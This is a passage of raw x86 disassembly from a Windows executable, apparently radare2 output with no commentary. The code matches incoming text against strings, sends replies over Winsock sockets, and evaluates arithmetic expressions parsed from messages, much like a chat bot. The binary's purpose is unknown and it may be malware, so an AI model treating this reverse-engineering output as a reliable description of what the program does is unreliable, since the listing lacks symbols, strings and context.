mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], 1
lea ecx, [esp + 0x50]
push 0x40ee00
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x4054f0
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x4054a8
inc edx
add eax, 4
cmp edx, 4
jl 0x405499
jmp 0x4054f0
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40ee00
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], 1
lea ecx, [esp + 0x50]
push 0x40edf8
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405566
xor edx, edx
lea eax, [ebp + 0x2918]
cmp dword [eax], ebx
je 0x40551e
inc edx
add eax, 4
cmp edx, 4
jl 0x40550f
jmp 0x405566
mov eax, dword [esp + 0x7c]
lea ecx, [edx + edx*4]
mov dword [ebp + edx*4 + 0x2918], eax
mov edi, 0x40edf8
lea esi, [ebp + ecx*4 + 0x2928]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp + edx*4 + 0x2978], 1
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x48]
inc ecx
lea esi, [eax + 1]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x152]
mov edx, dword [esp + 0x1c]
and ecx, 0xffff
cmp edx, ecx
jge 0x409307
cmp eax, ebx
jne 0x404d54
jmp 0x409307
sub eax, 0x27b
je 0x409307
sub eax, 8
je 0x405c5f
lea edx, [esp + 0x1c8]
push 0x2000
add esi, 0x10
push edx
push esi
call fcn.00402190
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
mov byte [esp + eax + 0x1d4], 0
lea eax, [esp + 0x1d4]
push 0x40edd8
push eax
call esi
add esp, 0x14
test eax, eax
je 0x405601
mov ecx, dword [ebp + 0x2854]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea edx, [esp + 0x1c8]
push 0x40edd0
push edx
call esi
add esp, 8
test eax, eax
je 0x40570e
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x40565d
mov dword [ebp + 0x2844], 1
jmp 0x405664
inc eax
mov dword [ebp + 0x2844], eax
mov eax, 0x40edd0
test eax, eax
je 0x4056b6
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40edd0
call fcn.00401bb0
mov ecx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push ecx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x4056d0
mov edx, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x40570e
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40570e
mov eax, dword [ebp + 0x2854]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea ecx, [esp + 0x1c8]
push 0x40edc8
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405822
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x40576e
mov dword [ebp + 0x2844], 1
jmp 0x405775
inc eax
mov dword [ebp + 0x2844], eax
mov edx, 0x40edc8
test edx, edx
je 0x4057ca
mov edi, 0x40edc8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40edc8
call fcn.00401bb0
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
mov eax, dword [ebp + 0x2844]
push ebx
push eax
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x4057e4
mov ecx, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push ecx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x405822
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405822
mov edx, dword [ebp + 0x2854]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea eax, [esp + 0x1c8]
push 0x40edbc
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405933
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x405882
mov dword [ebp + 0x2844], 1
jmp 0x405889
inc eax
mov dword [ebp + 0x2844], eax
mov ecx, 0x40edbc
test ecx, ecx
je 0x4058db
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40edbc
call fcn.00401bb0
mov edx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push edx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x4058f5
mov eax, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push eax
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x405933
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405933
mov ecx, dword [ebp + 0x2854]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea edx, [esp + 0x1c8]
push 0x40edb0
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405a44
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x405993
mov dword [ebp + 0x2844], 1
jmp 0x40599a
inc eax
mov dword [ebp + 0x2844], eax
mov eax, 0x40edb0
test eax, eax
je 0x4059ec
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40edb0
call fcn.00401bb0
mov ecx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push ecx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x405a06
mov edx, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x405a44
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405a44
mov eax, dword [ebp + 0x2854]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea ecx, [esp + 0x1c8]
push 0x40eda4
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405b58
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x405aa4
mov dword [ebp + 0x2844], 1
jmp 0x405aab
inc eax
mov dword [ebp + 0x2844], eax
mov edx, 0x40eda4
test edx, edx
je 0x405b00
mov edi, 0x40eda4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40eda4
call fcn.00401bb0
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
mov eax, dword [ebp + 0x2844]
push ebx
push eax
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x405b1a
mov ecx, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push ecx
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x405b58
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405b58
mov edx, dword [ebp + 0x2854]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
lea eax, [esp + 0x1c8]
push 0x40ed98
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x409307
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x405bb8
mov dword [ebp + 0x2844], 1
jmp 0x405bbf
inc eax
mov dword [ebp + 0x2844], eax
mov ecx, 0x40ed98
test ecx, ecx
je 0x405c11
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push 0x40ed98
call fcn.00401bb0
mov edx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push edx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x405c2b
mov eax, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push eax
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x409307
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409307
jmp 0x4092f0
lea edx, [esp + 0x1c8]
push 0x2000
add esi, 0x10
push edx
push esi
call fcn.00402190
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
mov byte [esp + eax + 0x1d4], 0
lea eax, [esp + 0x1d4]
push 0x40ed90
push eax
call ebx
add esp, 0x14
test eax, eax
je 0x405cb3
lea ecx, [esp + 0x1c8]
push 0x40ed88
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x405d97
lea edx, [esp + 0x1c8]
push 0x40ed80
push edx
call ebx
add esp, 8
test eax, eax
je 0x405ce3
lea eax, [esp + 0x1c8]
push 0x40ed7c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x405d97
lea ecx, [esp + 0x1c8]
push 0x40ed90
push ecx
call ebx
add esp, 8
test eax, eax
je 0x405d13
lea edx, [esp + 0x1c8]
push 0x40ed74
push edx
call ebx
add esp, 8
test eax, eax
jne 0x405d97
lea eax, [esp + 0x1c8]
push 0x40ed90
push eax
call ebx
add esp, 8
test eax, eax
je 0x405d3f
lea ecx, [esp + 0x1c8]
push 0x40ed6c
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x405d97
lea edx, [esp + 0x1c8]
push 0x40ed90
push edx
call ebx
add esp, 8
test eax, eax
je 0x405d6b
lea eax, [esp + 0x1c8]
push 0x40ed7c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x405d97
lea ecx, [esp + 0x1c8]
push 0x40ed90
push ecx
call ebx
add esp, 8
test eax, eax
je 0x405da1
lea edx, [esp + 0x1c8]
push 0x40ed60
push edx
call ebx
add esp, 8
test eax, eax
je 0x405da1
mov dword [ebp + 0x285c], 1
mov eax, dword [esp + 0x148]
mov ecx, 0xc
mov dword [esp + 0x4c], eax
xor eax, eax
lea edi, [esp + 0x50]
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c8]
push pe_nt_image_headers32
push ecx
mov dword [esp + 0x1c], 0
stosw word es:[edi], ax
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x409307
cmp byte [edi - 1], 0x2f
je 0x405e01
inc edi
push pe_nt_image_headers32
push edi
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x409307
cmp byte [edi - 1], 0x2f
jne 0x405de8
push 0x3e
push edi
call esi
mov edx, eax
add esp, 8
test edx, edx
je 0x409307
or ecx, 0xffffffff
xor eax, eax
mov byte [edx], 0
lea esi, [esp + 0x50]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x18], esi
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
push 0x40ed5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [edx], 0x3e
lea edx, [esp + 0x1cc]
lea ecx, [esp + 0x1cc]
push edx
mov dword [esp + 0x18], ecx
call ebx
add esp, 8
test eax, eax
jne 0x405ea7
lea eax, [esp + 0x1c8]
push 0x40ed58
push eax
call ebx
add esp, 8
test eax, eax
jne 0x405ea7
lea ecx, [esp + 0x1c8]
push 0x40ed54
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x405ea7
lea edx, [esp + 0x1c8]
push 0x40ed50
push edx
call ebx
add esp, 8
test eax, eax
je 0x406275
lea eax, [esp + 0x1c8]
push 0x40ed4c
push eax
call ebx
add esp, 8
test eax, eax
je 0x406275
mov ecx, 7
xor eax, eax
lea edi, [esp + 0xa5]
mov byte [esp + 0xa4], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c8]
push 0x40ed4c
push ecx
stosb byte es:[edi], al
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strncpy]
mov esi, eax
push 0x1a
lea eax, [esp + 0xb0]
lea edx, [esi - 0x1a]
push edx
push eax
call edi
lea ecx, [esp + 0xb8]
push 0x40ed5c
push ecx
call ebx
add esp, 0x1c
test eax, eax
jne 0x405f9b
lea edx, [esp + 0xa4]
push 0x40ed58
push edx
call ebx
add esp, 8
test eax, eax
jne 0x405f9b
lea eax, [esp + 0xa4]
push 0x40ed54
push eax
call ebx
add esp, 8
test eax, eax
jne 0x405f9b
lea ecx, [esp + 0xa4]
push 0x40ed50
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x405f9b
add esi, 2
push 0x40ed4c
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x409307
lea edx, [esi - 0x1a]
push 0x1a
lea eax, [esp + 0xa8]
push edx
push eax
call edi
lea ecx, [esp + 0xb0]
push 0x40ed5c
push ecx
call ebx
add esp, 0x14
test eax, eax
je 0x405f1b
lea edi, [esp + 0xa4]
cmp byte [edi], 0xa3
jne 0x405fb2
mov al, byte [edi + 1]
cmp al, 0xb0
jl 0x405fb2
cmp al, 0xb9
jle 0x405fb5
inc edi
jmp 0x405fa2
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xa4]
mov eax, ecx
mov esi, edi
mov edi, edx
xor edx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [esp + 0x34], 0
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa4]
lea edi, [esp + 0xa4]
mov dword [esp + 0x10], ecx
or ecx, 0xffffffff
xor esi, esi
mov byte [esp + 0x35], 0
repne scasb al, byte es:[edi]
not ecx
test ecx, ecx
mov dword [esp + 0xd8], esi
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe8], esi
mov dword [esp + 0xec], esi
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
mov dword [esp + 0xfc], esi
mov byte [esp + 0x36], 0
mov byte [esp + 0x37], 0
mov byte [esp + 0x38], 0
mov byte [esp + 0x39], 0
mov byte [esp + 0x3a], 0
mov byte [esp + 0x3b], 0
mov byte [esp + 0x3c], 0
mov byte [esp + 0x3d], 0
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 0
mov byte [esp + 0x2a], 0
mov byte [esp + 0x2b], 0
mov byte [esp + 0x2c], 0
mov byte [esp + 0x2d], 0
mov dword [esp + 0x1c], esi
jle 0x406186
lea eax, [esp + 0xd8]
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + ecx + 0xa4]
lea edi, [esp + ecx + 0xa4]
cmp al, 0xb0
jl 0x4060dc
cmp al, 0xb9
jg 0x4060dc
add al, 0x80
mov byte [esp + edx + 0x24], al
inc edx
jmp 0x406145
cmp al, 0xab
je 0x4060f2
cmp al, 0xad
je 0x4060f2
cmp al, 0xaa
je 0x4060f2
cmp al, 0xaf
je 0x4060f2
test al, al
je 0x40616c
jmp 0x406145
mov byte [esp + edx + 0x24], 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [ecx], eax
movsx eax, byte [edi]
add eax, 0x56
cmp eax, 5
ja case.0x406116.84
jmp dword [eax*4 + 0x409324]
mov byte [esp + esi + 0x34], 0x2b
jmp case.0x406116.84
mov byte [esp + esi + 0x34], 0x2d
jmp case.0x406116.84
mov byte [esp + esi + 0x34], 0x2a
jmp case.0x406116.84
mov byte [esp + esi + 0x34], 0x2f
mov eax, dword [esp + 0x14]
inc esi
add eax, 4
xor edx, edx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
lea edi, [esp + 0xa4]
inc eax
or ecx, 0xffffffff
mov dword [esp + 0x1c], eax
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x1c]
not ecx
cmp eax, ecx
jl 0x4060b9
jmp 0x406186
mov byte [esp + edx + 0x24], 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [esp + esi*4 + 0xd8], eax
mov al, byte [esp + 0x34]
xor ecx, ecx
test al, al
je 0x40622d
mov al, byte [esp + ecx + 0x34]
cmp al, 0x2a
je 0x4061e0
cmp al, 0x2f
je 0x4061a3
inc ecx
jmp 0x40621d
mov eax, dword [esp + ecx*4 + 0xd8]
cdq
idiv dword [esp + ecx*4 + 0xdc]
mov dword [esp + ecx*4 + 0xd8], eax
lea eax, [ecx + 1]
cmp eax, 9
jge 0x40621b
lea esi, [esp + eax*4 + 0xd8]
mov dl, byte [esp + eax + 0x34]
mov ecx, dword [esi + 4]
mov byte [esp + eax + 0x33], dl
mov dword [esi], ecx
inc eax
add esi, 4
cmp eax, 9
jl 0x4061c8
jmp 0x40621b
mov eax, dword [esp + ecx*4 + 0xdc]
imul eax, dword [esp + ecx*4 + 0xd8]
mov dword [esp + ecx*4 + 0xd8], eax
lea eax, [ecx + 1]
cmp eax, 9
jge 0x40621b
lea esi, [esp + eax*4 + 0xd8]
mov dl, byte [esp + eax + 0x34]
mov ecx, dword [esi + 4]
mov byte [esp + eax + 0x33], dl
mov dword [esi], ecx
inc eax
add esi, 4
cmp eax, 9
jl 0x406205
xor ecx, ecx
mov al, byte [esp + ecx + 0x34]
test al, al
jne 0x406194
mov al, byte [esp + 0x34]
mov ecx, dword [esp + 0xd8]
test al, al
mov dword [esp + 0x14], ecx
je 0x406275
lea edx, [esp + 0x34]
lea ecx, [esp + 0xdc]
movsx eax, al
sub eax, 0x2b
je 0x40625e
sub eax, 2
jne 0x40626a
mov eax, dword [ecx]
mov esi, dword [esp + 0x14]
sub esi, eax
jmp 0x406266
mov eax, dword [ecx]
mov esi, dword [esp + 0x14]
add esi, eax
mov dword [esp + 0x14], esi
mov al, byte [edx + 1]
add ecx, 4
inc edx
test al, al
jne 0x406247
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
lea ecx, [esp + 0x1c8]
push 0x2b
push ecx
call esi
add esp, 8
test eax, eax
jne 0x4062b8
lea edx, [esp + 0x1c8]
push 0x2d
push edx
call esi
add esp, 8
test eax, eax
jne 0x4062b8
lea eax, [esp + 0x1c8]
push 0x2a
push eax
call esi
add esp, 8
test eax, eax
je 0x4067a9
lea ecx, [esp + 0x1c8]
push 0x3d
push ecx
call esi
add esp, 8
test eax, eax
je 0x4067a9
xor edx, edx
lea eax, [esp + 0x1c8]
mov dword [esp + 0x91], edx
push 0x3d
mov dword [esp + 0x99], edx
push eax
mov dword [esp + 0xa1], edx
mov byte [esp + 0x98], 0
mov dword [esp + 0xa5], edx
mov word [esp + 0xa9], dx
mov byte [esp + 0xab], dl
call esi
mov edi, eax
push 0x12
lea edx, [esp + 0x9c]
lea ecx, [edi - 0x12]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [esp + 0xa4]
push 0x2b
push eax
call esi
add esp, 0x1c
test eax, eax
jne 0x406399
lea ecx, [esp + 0x90]
push 0x2d
push ecx
call esi
add esp, 8
test eax, eax
jne 0x406399
lea edx, [esp + 0x90]
push 0x2a
push edx
call esi
add esp, 8
test eax, eax
jne 0x406399
inc edi
push 0x3d
push edi
call esi
mov edi, eax
add esp, 8
test edi, edi
je 0x409307
lea eax, [edi - 0x12]
push 0x12
lea ecx, [esp + 0x94]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
lea edx, [esp + 0x9c]
push 0x2b
push edx
call esi
add esp, 0x14
test eax, eax
je 0x406339
lea edi, [esp + 0x90]
mov cl, byte [edi]
cmp cl, 0xa3
jne 0x4063c1
mov al, byte [edi + 1]
cmp al, 0xb0
jl 0x4063c1
cmp al, 0xb9
jg 0x4063c1
mov al, byte [edi + 2]
cmp al, 0x2b
je 0x4063e7
cmp al, 0x2d
je 0x4063e7
cmp al, 0x2a
je 0x4063e7
cmp cl, 0x30
jl 0x4063da
cmp cl, 0x39
jg 0x4063da
mov al, byte [edi + 1]
cmp al, 0x2b
je 0x4063e7
cmp al, 0x2d
je 0x4063e7
cmp al, 0x2a
je 0x4063e7
mov eax, edi
inc edi
test eax, eax
je 0x409307
jmp 0x4063a0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x90]
mov eax, ecx
mov esi, edi
mov edi, edx
xor edx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [esp + 0x34], 0
and ecx, 3
mov byte [esp + 0x35], 0
rep movsb byte es:[edi], byte [esi]
mov al, byte [esp + 0x90]
lea ecx, [esp + 0x90]
xor esi, esi
cmp al, 0x30
mov dword [esp + 0x10], ecx
mov dword [esp + 0xd8], esi
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe8], esi
mov dword [esp + 0xec], esi
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
mov dword [esp + 0xfc], esi
mov byte [esp + 0x36], 0
mov byte [esp + 0x37], 0
mov byte [esp + 0x38], 0
mov byte [esp + 0x39], 0
mov byte [esp + 0x3a], 0
mov byte [esp + 0x3b], 0
mov byte [esp + 0x3c], 0
mov byte [esp + 0x3d], 0
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 0
mov byte [esp + 0x2a], 0
mov byte [esp + 0x2b], 0
mov byte [esp + 0x2c], 0
mov byte [esp + 0x2d], 0
jl 0x406693
cmp al, 0x39
jg 0x406693
lea edi, [esp + 0x90]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], esi
repne scasb al, byte es:[edi]
not ecx
test ecx, ecx
jle 0x4065a3
lea eax, [esp + 0xd8]
mov dword [esp + 0x48], eax
mov ecx, dword [esp + 0x14]
mov al, byte [esp + ecx + 0x90]
lea edi, [esp + ecx + 0x90]
cmp al, 0x30
jl 0x406523
cmp al, 0x39
jg 0x406523
mov byte [esp + edx + 0x24], al
inc edx
jmp 0x406562
cmp al, 0x2b
je 0x406539
cmp al, 0x2d
je 0x406539
cmp al, 0x2a
je 0x406539
cmp al, 0x2f
je 0x406539
test al, al
je 0x406589
jmp 0x406562
mov byte [esp + edx + 0x24], 0
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
mov ecx, dword [esp + 0x4c]
add esp, 4
inc esi
mov dword [ecx], eax
mov al, byte [edi]
mov byte [esp + esi + 0x33], al
add ecx, 4
mov dword [esp + 0x48], ecx
xor edx, edx
mov eax, dword [esp + 0x14]
lea edi, [esp + 0x90]
inc eax
or ecx, 0xffffffff
mov dword [esp + 0x14], eax
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x14]
not ecx
cmp eax, ecx
jl 0x406502
jmp 0x4065a3
lea ecx, [esp + 0x24]
mov byte [esp + edx + 0x24], 0
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [esp + esi*4 + 0xd8], eax
mov al, byte [esp + 0x34]
xor ecx, ecx
test al, al
je 0x40664a
mov al, byte [esp + ecx + 0x34]
cmp al, 0x2a
je 0x4065fd
cmp al, 0x2f
je 0x4065c0
inc ecx
jmp 0x40663a
mov eax, dword [esp + ecx*4 + 0xd8]
cdq
idiv dword [esp + ecx*4 + 0xdc]
mov dword [esp + ecx*4 + 0xd8], eax
lea eax, [ecx + 1]
cmp eax, 9
jge 0x406638
lea esi, [esp + eax*4 + 0xd8]
mov cl, byte [esp + eax + 0x34]
mov edx, dword [esi + 4]
mov byte [esp + eax + 0x33], cl
mov dword [esi], edx
inc eax
add esi, 4
cmp eax, 9
jl 0x4065e5
jmp 0x406638
mov edx, dword [esp + ecx*4 + 0xdc]
lea eax, [ecx + 1]
imul edx, dword [esp + ecx*4 + 0xd8]
cmp eax, 9
mov dword [esp + ecx*4 + 0xd8], edx
jge 0x406638
lea edi, [esp + eax*4 + 0xd8]
mov dl, byte [esp + eax + 0x34]
mov ecx, dword [edi + 4]
mov byte [esp + eax + 0x33], dl
mov dword [edi], ecx
inc eax
add edi, 4
cmp eax, 9
jl 0x406622
xor ecx, ecx
mov al, byte [esp + ecx + 0x34]
test al, al
jne 0x4065b1
mov al, byte [esp + 0x34]
mov ecx, dword [esp + 0xd8]
test al, al
mov dword [esp + 0x14], ecx
je 0x4067a9
mov esi, dword [esp + 0x14]
lea edx, [esp + 0x34]
lea ecx, [esp + 0xdc]
movsx eax, al
sub eax, 0x2b
